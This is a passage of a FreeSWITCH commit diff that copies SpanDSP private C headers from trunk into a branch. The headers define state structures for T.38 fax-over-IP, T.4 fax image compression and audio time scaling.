+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_core.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_core.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/t38_core.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_core.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_core.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,135 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/t38_core.h - An implementation of T.38, less the packet exchange part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: t38_core.h,v 1.4 2009/07/14 13:54:22 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_T38_CORE_H_)
+#define _SPANDSP_PRIVATE_T38_CORE_H_
+
+/*!
+    Core T.38 state, common to all modes of T.38.
+*/
+struct t38_core_state_s
+{
+    /*! \brief Handler routine to transmit IFP packets generated by the T.38 protocol engine */
+    t38_tx_packet_handler_t *tx_packet_handler;
+    /*! \brief An opaque pointer passed to tx_packet_handler */
+    void *tx_packet_user_data;
+
+    /*! \brief Handler routine to process received indicator packets */
+    t38_rx_indicator_handler_t *rx_indicator_handler;
+    /*! \brief Handler routine to process received data packets */
+    t38_rx_data_handler_t *rx_data_handler;
+    /*! \brief Handler routine to process the missing packet condition */
+    t38_rx_missing_handler_t *rx_missing_handler;
+    /*! \brief An opaque pointer passed to any of the above receive handling routines */
+    void *rx_user_data;
+
+    /*! NOTE - Bandwidth reduction shall only be done on suitable Phase C data, i.e., MH, MR
+        and - in the case of transcoding to JBIG - MMR. MMR and JBIG require reliable data
+        transport such as that provided by TCP. When transcoding is selected, it shall be
+        applied to every suitable page in a call. */
+
+    /*! \brief Method 1: Local generation of TCF (required for use with TCP).
+               Method 2: Transfer of TCF is required for use with UDP (UDPTL or RTP).
+               Method 2 is not recommended for use with TCP. */
+    int data_rate_management_method;
+    
+    /*! \brief The emitting gateway may indicate a preference for either UDP/UDPTL, or
+               UDP/RTP, or TCP for transport of T.38 IFP Packets. The receiving device
+               selects the transport protocol. */
+    int data_transport_protocol;
+
+    /*! \brief Indicates the capability to remove and insert fill bits in Phase C, non-ECM
+        data to reduce bandwidth in the packet network. */
+    int fill_bit_removal;
+
+    /*! \brief Indicates the ability to convert to/from MMR from/to the line format to
+        improve the compression of the data, and reduce the bandwidth, in the
+        packet network. */
+    int mmr_transcoding;
+
+    /*! \brief Indicates the ability to convert to/from JBIG to reduce bandwidth. */
+    int jbig_transcoding;
+
+    /*! \brief For UDP (UDPTL or RTP) modes, this option indicates the maximum
+               number of octets that can be stored on the remote device before an
+               overflow condition occurs. It is the responsibility of the transmitting
+               application to limit the transfer rate to prevent an overflow. The
+               negotiated data rate should be used to determine the rate at which
+               data is being removed from the buffer. */
+    int max_buffer_size;
+
+    /*! \brief This option indicates the maximum size of a UDPTL packet or the
+               maximum size of the payload within an RTP packet that can be accepted 
+               by the remote device. */
+    int max_datagram_size;
+
+    /*! \brief This is the version number of ITU-T Rec. T.38. New versions shall be
+               compatible with previous versions. */
+    int t38_version;
+
+    /*! \brief Allow time for TEP playout */
+    int allow_for_tep;
+
+    /*! \brief The fastest data rate supported by the T.38 channel. */
+    int fastest_image_data_rate;
+
+    /*! \brief The number of times each packet type will be sent (low byte). The 
+               depth of redundancy (2nd byte). Higher numbers may increase reliability
+               for UDP transmission. Zero is valid for the indicator packet category,
+               to suppress all indicator packets (typicaly for TCP transmission). */
+    int category_control[5];
+
+    /*! \brief TRUE if IFP packet sequence numbers are relevant. For some transports, like TPKT
+               over TCP they are not relevent. */
+    int check_sequence_numbers;
+
+    /*! \brief The sequence number for the next packet to be transmitted */
+    int tx_seq_no;
+    /*! \brief The sequence number expected in the next received packet */
+    int rx_expected_seq_no;
+
+    /*! \brief The current receive indicator - i.e. the last indicator received */
+    int current_rx_indicator;
+    /*! \brief The current receive data type - i.e. the last data type received */
+    int current_rx_data_type;
+    /*! \brief The current receive field type - i.e. the last field_type received */
+    int current_rx_field_type;
+    /*! \brief The current transmit indicator - i.e. the last indicator transmitted */
+    int current_tx_indicator;
+    /*! \brief The bit rate for V.34 operation */
+    int v34_rate;
+
+    /*! A count of missing receive packets. This count might not be accurate if the
+        received packet numbers jump wildly. */
+    int missing_packets;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_gateway.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_gateway.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/t38_gateway.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_gateway.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_gateway.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,207 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/t38_gateway.h - A T.38, less the packet exchange part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005, 2006, 2007 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: t38_gateway.h,v 1.4 2009/05/16 03:34:45 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_T38_GATEWAY_H_)
+#define _SPANDSP_PRIVATE_T38_GATEWAY_H_
+
+/*!
+    T.38 gateway T.38 side channel descriptor.
+*/
+typedef struct
+{
+    /*! Core T.38 IFP support */
+    t38_core_state_t t38;
+
+    /*! \brief TRUE if the NSF, NSC, and NSS are to be suppressed by altering
+               their contents to something the far end will not recognise. */
+    int suppress_nsx_len[2];
+    /*! \brief TRUE if we need to corrupt the HDLC frame in progress, so the receiver cannot
+               interpret it. The two values are for the two directions. */
+    int corrupt_current_frame[2];
+
+    /*! \brief the current class of field being received - i.e. none, non-ECM or HDLC */
+    int current_rx_field_class;
+    /*! \brief The T.38 indicator currently in use */
+    int in_progress_rx_indicator;
+
+    /*! \brief The current T.38 data type being sent. */
+    int current_tx_data_type;
+} t38_gateway_t38_state_t;
+
+/*!
+    T.38 gateway audio side channel descriptor.
+*/
+typedef struct
+{
+    /*! \brief The FAX modem set for the audio side fo the gateway. */
+    fax_modems_state_t modems;
+    /*! \brief The current receive signal handler. Actual receiving hop between this
+               and a dummy receive routine. */
+    span_rx_handler_t *base_rx_handler;
+} t38_gateway_audio_state_t;
+
+/*!
+    T.38 gateway T.38 side state.
+*/
+typedef struct
+{
+    /*! \brief non-ECM and HDLC modem receive data buffer. */
+    uint8_t data[T38_RX_BUF_LEN];
+    /*! \brief Current pointer into the data buffer. */
+    int data_ptr;
+    /*! \brief The current octet being received as non-ECM data. */
+    unsigned int bit_stream;
+    /*! \brief The number of bits taken from the modem for the current scan row. This
+               is used during non-ECM transmission will fill bit removal to see that
+               T.38 packet transmissions do not stretch too far apart. */
+    int bits_absorbed;
+    /*! \brief The current bit number in the current non-ECM octet. */
+    int bit_no;
+    /*! \brief Progressively calculated CRC for HDLC messages received from a modem. */
+    uint16_t crc;
+    /*! \brief TRUE if non-ECM fill bits are to be stripped when sending image data. */
+    int fill_bit_removal;
+    /*! \brief The number of octets to send in each image packet (non-ECM or ECM) at the current
+               rate and the current specified packet interval. */
+    int octets_per_data_packet;
+
+    /*! \brief Bits into the non-ECM buffer */
+    int in_bits;
+    /*! \brief Octets fed out from the non-ECM buffer */
+    int out_octets;
+} t38_gateway_to_t38_state_t;
+
+/*!
+    T.38 gateway HDLC buffer.
+*/
+typedef struct
+{
+    /*! \brief HDLC message buffers. */
+    uint8_t buf[T38_MAX_HDLC_LEN];
+    /*! \brief HDLC message lengths. */
+    int len;
+    /*! \brief HDLC message status flags. */
+    int flags;
+    /*! \brief HDLC buffer contents. */
+    int contents;
+} t38_gateway_hdlc_buf_t;
+
+/*!
+    T.38 gateway HDLC state.
+*/
+typedef struct
+{
+    /*! \brief HDLC message buffers. */
+    t38_gateway_hdlc_buf_t buf[T38_TX_HDLC_BUFS];
+#if 0
+    /*! \brief HDLC message buffers. */
+    uint8_t buf[T38_TX_HDLC_BUFS][T38_MAX_HDLC_LEN];
+    /*! \brief HDLC message lengths. */
+    int len[T38_TX_HDLC_BUFS];
+    /*! \brief HDLC message status flags. */
+    int flags[T38_TX_HDLC_BUFS];
+    /*! \brief HDLC buffer contents. */
+    int contents[T38_TX_HDLC_BUFS];
+#endif
+    /*! \brief HDLC buffer number for input. */
+    int in;
+    /*! \brief HDLC buffer number for output. */
+    int out;
+} t38_gateway_hdlc_state_t;
+
+/*!
+    T.38 gateway core descriptor.
+*/
+typedef struct
+{
+    /*! \brief A bit mask of the currently supported modem types. */
+    int supported_modems;
+    /*! \brief TRUE if ECM FAX mode is allowed through the gateway. */
+    int ecm_allowed;
+
+    /*! \brief TRUE if in image data modem is to use short training. This usually
+               follows image_data_mode, but in ECM mode T.30 defines recovery
+               conditions in which long training is used for image data. */
+    int short_train;
+    /*! \brief TRUE if in image data mode, as opposed to TCF mode. */
+    int image_data_mode;
+    /*! \brief The minimum permitted bits per FAX scan line row. */
+    int min_row_bits;
+
+    /*! \brief TRUE if we should count the next MCF as a page end, else FALSE */
+    int count_page_on_mcf;
+    /*! \brief The number of pages for which a confirm (MCF) message was returned. */
+    int pages_confirmed;
+
+    /*! \brief TRUE if we are in error correcting (ECM) mode */
+    int ecm_mode;
+    /*! \brief The current bit rate for the fast modem. */
+    int fast_bit_rate;
+    /*! \brief The current fast modem type. */
+    int fast_modem;
+    /*! \brief The type of fast receive modem currently active, which may be T38_NONE */
+    int fast_rx_active;
+
+    /*! \brief The current timed operation. */
+    int timed_mode;
+    /*! \brief The number of samples until the next timeout event */
+    int samples_to_timeout;
+
+    /*! Buffer for HDLC and non-ECM data going to the T.38 channel */
+    t38_gateway_to_t38_state_t to_t38;
+    /*! Buffer for data going to an HDLC modem. */
+    t38_gateway_hdlc_state_t hdlc_to_modem;
+    /*! Buffer for data going to a non-ECM mode modem. */
+    t38_non_ecm_buffer_state_t non_ecm_to_modem;
+
+    /*! \brief A pointer to a callback routine to be called when frames are
+        exchanged. */
+    t38_gateway_real_time_frame_handler_t *real_time_frame_handler;
+    /*! \brief An opaque pointer supplied in real time frame callbacks. */
+    void *real_time_frame_user_data;
+} t38_gateway_core_state_t;
+
+/*!
+    T.38 gateway state.
+*/
+struct t38_gateway_state_s
+{
+    /*! T.38 side state */
+    t38_gateway_t38_state_t t38x;
+    /*! Audio side state */
+    t38_gateway_audio_state_t audio;
+    /*! T.38 core state */
+    t38_gateway_core_state_t core;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_non_ecm_buffer.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_non_ecm_buffer.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/t38_non_ecm_buffer.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_non_ecm_buffer.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_non_ecm_buffer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/t38_non_ecm_buffer.h - A rate adapting buffer for T.38 non-ECM image
+ *                                and TCF data
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005, 2006, 2007, 2008 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: t38_non_ecm_buffer.h,v 1.2 2008/10/13 14:19:18 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_T38_NON_ECM_BUFFER_H_)
+#define _SPANDSP_PRIVATE_T38_NON_ECM_BUFFER_H_
+
+/*! \brief A flow controlled non-ECM image data buffer, for buffering T.38 to analogue
+           modem data.
+*/
+struct t38_non_ecm_buffer_state_s
+{
+    /*! \brief Minimum number of bits per row, used when fill bits are being deleted on the
+               link, and restored at the emitting gateway. */
+    int min_row_bits;
+
+    /*! \brief non-ECM modem transmit data buffer. */
+    uint8_t data[T38_NON_ECM_TX_BUF_LEN];
+    /*! \brief The current write point in the buffer. */
+    int in_ptr;
+    /*! \brief The current read point in the buffer. */
+    int out_ptr;
+    /*! \brief The location of the most recent EOL marker in the buffer. */
+    int latest_eol_ptr;
+    /*! \brief The number of bits to date in the current row, used when min_row_bits is
+               to be applied. */
+    int row_bits;
+
+    /*! \brief The bit stream entering the buffer, used to detect EOLs */
+    unsigned int bit_stream;
+    /*! \brief The non-ECM flow control fill octet (0xFF before the first data, and 0x00
+               once data has started). */
+    uint8_t flow_control_fill_octet;
+    /*! \brief TRUE if we are in the initial all ones part of non-ECM transmission. */
+    int at_initial_all_ones;
+    /*! \brief TRUE is the end of non-ECM data indication has been received. */
+    int data_finished;
+    /*! \brief The current octet being transmitted from the buffer. */
+    unsigned int octet;
+    /*! \brief The current bit number in the current non-ECM octet. */
+    int bit_no;
+    /*! \brief TRUE if in image data mode, as opposed to TCF mode. */
+    int image_data_mode;
+
+    /*! \brief The number of octets input to the buffer. */
+    int in_octets;
+    /*! \brief The number of rows input to the buffer. */
+    int in_rows;
+    /*! \brief The number of non-ECM fill octets generated for minimum row bits
+               purposes. */
+    int min_row_bits_fill_octets;
+    /*! \brief The number of octets output from the buffer. */
+    int out_octets;
+    /*! \brief The number of rows output from the buffer. */
+    int out_rows;
+    /*! \brief The number of non-ECM fill octets generated for flow control
+               purposes. */
+    int flow_control_fill_octets;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_terminal.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_terminal.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/t38_terminal.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_terminal.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t38_terminal.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,120 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/t38_terminal.h - T.38 termination, less the packet exchange part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: t38_terminal.h,v 1.2 2008/12/31 13:57:13 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_T38_TERMINAL_H_)
+#define _SPANDSP_PRIVATE_T38_TERMINAL_H_
+
+typedef struct
+{
+    /*! \brief Internet Aware FAX mode bit mask. */
+    int iaf;
+    /*! \brief Required time between T.38 transmissions, in ms. */
+    int ms_per_tx_chunk;
+    /*! \brief Bit fields controlling the way data is packed into chunked for transmission. */
+    int chunking_modes;
+
+    /*! \brief Core T.38 IFP support */
+    t38_core_state_t t38;
+
+    /*! \brief The current transmit step being timed */
+    int timed_step;
+
+    /*! \brief TRUE is there has been some T.38 data missed (i.e. lost packets) in the current
+               reception period. */
+    int rx_data_missing;
+
+    /*! \brief The number of octets to send in each image packet (non-ECM or ECM) at the current
+               rate and the current specified packet interval. */
+    int octets_per_data_packet;
+
+    struct
+    {
+        /*! \brief HDLC receive buffer */
+        uint8_t buf[T38_MAX_HDLC_LEN];
+        /*! \brief The length of the contents of the HDLC receive buffer */
+        int len;
+    } hdlc_rx;
+
+    struct
+    {
+        /*! \brief HDLC transmit buffer */
+        uint8_t buf[T38_MAX_HDLC_LEN];
+        /*! \brief The length of the contents of the HDLC transmit buffer */
+        int len;
+        /*! \brief Current pointer within the contents of the HDLC transmit buffer */
+        int ptr;
+        /*! \brief The number of extra bits in a fully stuffed version of the
+                   contents of the HDLC transmit buffer. This is needed to accurately
+                   estimate the playout time for this frame, through an analogue modem. */
+        int extra_bits;
+    } hdlc_tx;
+
+    /*! \brief Counter for trailing non-ECM bytes, used to flush out the far end's modem. */
+    int non_ecm_trailer_bytes;
+
+    /*! \brief The next T.38 indicator queued for transmission. */
+    int next_tx_indicator;
+    /*! \brief The current T.38 data type being transmitted. */
+    int current_tx_data_type;
+
+    /*! \brief TRUE if a carrier is present. Otherwise FALSE. */
+    int rx_signal_present;
+
+    /*! \brief The current operating mode of the receiver. */
+    int current_rx_type;
+    /*! \brief The current operating mode of the transmitter. */
+    int current_tx_type;
+
+    /*! \brief Current transmission bit rate. */
+    int tx_bit_rate;
+    /*! \brief A "sample" count, used to time events. */
+    int32_t samples;
+    /*! \brief The value for samples at the next transmission point. */
+    int32_t next_tx_samples;
+    /*! \brief The current receive timeout. */
+    int32_t timeout_rx_samples;
+} t38_terminal_front_end_state_t;
+
+/*!
+    T.38 terminal state.
+*/
+struct t38_terminal_state_s
+{
+    /*! \brief The T.30 back-end */
+    t30_state_t t30;
+
+    /*! \brief The T.38 front-end */
+    t38_terminal_front_end_state_t t38_fe;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t4.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t4.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/t4.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t4.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/t4.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,217 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/t4.h - definitions for T.4 fax processing
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: t4.h,v 1.4 2009/02/20 12:34:20 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_T4_H_)
+#define _SPANDSP_PRIVATE_T4_H_
+
+/*!
+    TIFF specific state information to go with T.4 compression or decompression handling.
+*/
+typedef struct
+{
+    /*! \brief The libtiff context for the current TIFF file */
+    TIFF *tiff_file;
+
+    /*! \brief The compression type for output to the TIFF file. */
+    int output_compression;
+    /*! \brief The TIFF G3 FAX options. */
+    int output_t4_options;
+    /*! \brief The TIFF photometric setting for the current page. */
+    uint16_t photo_metric;
+    /*! \brief The TIFF fill order setting for the current page. */
+    uint16_t fill_order;
+
+    /* "Background" information about the FAX, which can be stored in the image file. */
+    /*! \brief The vendor of the machine which produced the file. */ 
+    const char *vendor;
+    /*! \brief The model of machine which produced the file. */ 
+    const char *model;
+    /*! \brief The local ident string. */ 
+    const char *local_ident;
+    /*! \brief The remote end's ident string. */ 
+    const char *far_ident;
+    /*! \brief The FAX sub-address. */ 
+    const char *sub_address;
+    /*! \brief The FAX DCS information, as an ASCII string. */ 
+    const char *dcs;
+} t4_tiff_state_t;
+
+/*!
+    T.4 FAX compression/decompression descriptor. This defines the working state
+    for a single instance of a T.4 FAX compression or decompression channel.
+*/
+struct t4_state_s
+{
+    /*! \brief The same structure is used for T.4 transmit and receive. This variable
+               records which mode is in progress. */
+    int rx;
+
+    /*! \brief The type of compression used between the FAX machines. */
+    int line_encoding;
+    /*! \brief The minimum number of encoded bits per row. This is a timing thing
+               for hardware FAX machines. */
+    int min_bits_per_row;
+    
+    /*! \brief Callback function to read a row of pixels from the image source. */
+    t4_row_read_handler_t row_read_handler;
+    /*! \brief Opaque pointer passed to row_read_handler. */
+    void *row_read_user_data;
+    /*! \brief Callback function to write a row of pixels to the image destination. */
+    t4_row_write_handler_t row_write_handler;
+    /*! \brief Opaque pointer passed to row_write_handler. */
+    void *row_write_user_data;
+
+    /*! \brief The time at which handling of the current page began. */
+    time_t page_start_time;
+
+    /*! \brief The current number of bytes per row of uncompressed image data. */
+    int bytes_per_row;
+    /*! \brief The size of the image in the image buffer, in bytes. */
+    int image_size;
+    /*! \brief The size of the compressed image on the line side, in bits. */
+    int line_image_size;
+    /*! \brief The current size of the image buffer. */
+    int image_buffer_size;
+    /*! \brief A point to the image buffer. */
+    uint8_t *image_buffer;
+
+    /*! \brief The current file name. */
+    const char *file;
+    /*! \brief The first page to transfer. -1 to start at the beginning of the file. */
+    int start_page;
+    /*! \brief The last page to transfer. -1 to continue to the end of the file. */
+    int stop_page;
+
+    /*! \brief The number of pages transferred to date. */
+    int current_page;
+    /*! \brief The number of pages in the current image file. */
+    int pages_in_file;
+    /*! \brief Column-to-column (X) resolution in pixels per metre. */
+    int x_resolution;
+    /*! \brief Row-to-row (Y) resolution in pixels per metre. */
+    int y_resolution;
+    /*! \brief Width of the current page, in pixels. */
+    int image_width;
+    /*! \brief Length of the current page, in pixels. */
+    int image_length;
+    /*! \brief Current pixel row number. */
+    int row;
+    /*! \brief The current number of consecutive bad rows. */
+    int curr_bad_row_run;
+    /*! \brief The longest run of consecutive bad rows seen in the current page. */
+    int longest_bad_row_run;
+    /*! \brief The total number of bad rows in the current page. */
+    int bad_rows;
+
+    /*! \brief Incoming bit buffer for decompression. */
+    uint32_t rx_bitstream;
+    /*! \brief The number of bits currently in rx_bitstream. */
+    int rx_bits;
+    /*! \brief The number of bits to be skipped before trying to match the next code word. */
+    int rx_skip_bits;
+
+    /*! \brief This variable is set if we are treating the current row as a 2D encoded
+               one. */
+    int row_is_2d;
+    /*! \brief TRUE if the current run is black */
+    int its_black;
+    /*! \brief The current length of the current row. */
+    int row_len;
+    /*! \brief This variable is used to count the consecutive EOLS we have seen. If it
+               reaches six, this is the end of the image. It is initially set to -1 for
+               1D and 2D decoding, as an indicator that we must wait for the first EOL,
+               before decodin any image data. */
+    int consecutive_eols;
+
+    /*! \brief Black and white run-lengths for the current row. */
+    uint32_t *cur_runs;
+    /*! \brief Black and white run-lengths for the reference row. */
+    uint32_t *ref_runs;
+    /*! \brief The number of runs currently in the reference row. */
+    int ref_steps;
+    /*! \brief The current step into the reference row run-lengths buffer. */
+    int b_cursor;
+    /*! \brief The current step into the current row run-lengths buffer. */
+    int a_cursor;
+
+    /*! \brief The reference or starting changing element on the coding line. At the
+               start of the coding line, a0 is set on an imaginary white changing element
+               situated just before the first element on the line. During the coding of
+               the coding line, the position of a0 is defined by the previous coding mode.
+               (See 4.2.1.3.2.). */
+    int a0;
+    /*! \brief The first changing element on the reference line to the right of a0 and of
+               opposite colour to a0. */
+    int b1;
+    /*! \brief The length of the in-progress run of black or white. */
+    int run_length;
+    /*! \brief 2D horizontal mode control. */
+    int black_white;
+
+    /*! \brief Encoded data bits buffer. */
+    uint32_t tx_bitstream;
+    /*! \brief The number of bits currently in tx_bitstream. */
+    int tx_bits;
+
+    /*! \brief A pointer into the image buffer indicating where the last row begins */
+    int last_row_starts_at;
+    /*! \brief A pointer into the image buffer indicating where the current row begins */
+    int row_starts_at;
+    
+    /*! \brief Pointer to the buffer for the current pixel row. */
+    uint8_t *row_buf;
+    
+    /*! \brief Pointer to the byte containing the next image bit to transmit. */
+    int bit_pos;
+    /*! \brief Pointer to the bit within the byte containing the next image bit to transmit. */
+    int bit_ptr;
+
+    /*! \brief The current maximum contiguous rows that may be 2D encoded. */
+    int max_rows_to_next_1d_row;
+    /*! \brief Number of rows left that can be 2D encoded, before a 1D encoded row
+               must be used. */
+    int rows_to_next_1d_row;
+    /*! \brief The current number of bits in the current encoded row. */
+    int row_bits;
+    /*! \brief The minimum bits in any row of the current page. For monitoring only. */
+    int min_row_bits;
+    /*! \brief The maximum bits in any row of the current page. For monitoring only. */
+    int max_row_bits;
+
+    /*! \brief The text which will be used in FAX page header. No text results
+               in no header line. */
+    const char *header_info;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+
+    /*! \brief All TIFF file specific state information for the T.4 context. */
+    t4_tiff_state_t tiff;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/time_scale.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/time_scale.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/time_scale.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/time_scale.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/time_scale.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/time_scale.h - Time scaling for linear speech data
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: time_scale.h,v 1.1 2008/11/15 14:27:29 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_TIME_SCALE_H_)
+#define _SPANDSP_PRIVATE_TIME_SCALE_H_
+
+#define TIME_SCALE_MAX_SAMPLE_RATE  48000
+#define TIME_SCALE_MIN_PITCH        60
+#define TIME_SCALE_MAX_PITCH        250
+#define TIME_SCALE_BUF_LEN          (2*TIME_SCALE_MAX_SAMPLE_RATE/TIME_SCALE_MIN_PITCH)
+
+/*! Audio time scaling descriptor. */
+struct time_scale_state_s
+{
+    int sample_rate;
+    int min_pitch;
+    int max_pitch;
+    int buf_len;
+    float playout_rate;
+    double rcomp;
+    double rate_nudge;
+    int fill;
+    int lcp;
+    int16_t buf[TIME_SCALE_BUF_LEN];
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/tone_detect.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/tone_detect.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/tone_detect.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/tone_detect.h	                        (rev 0)
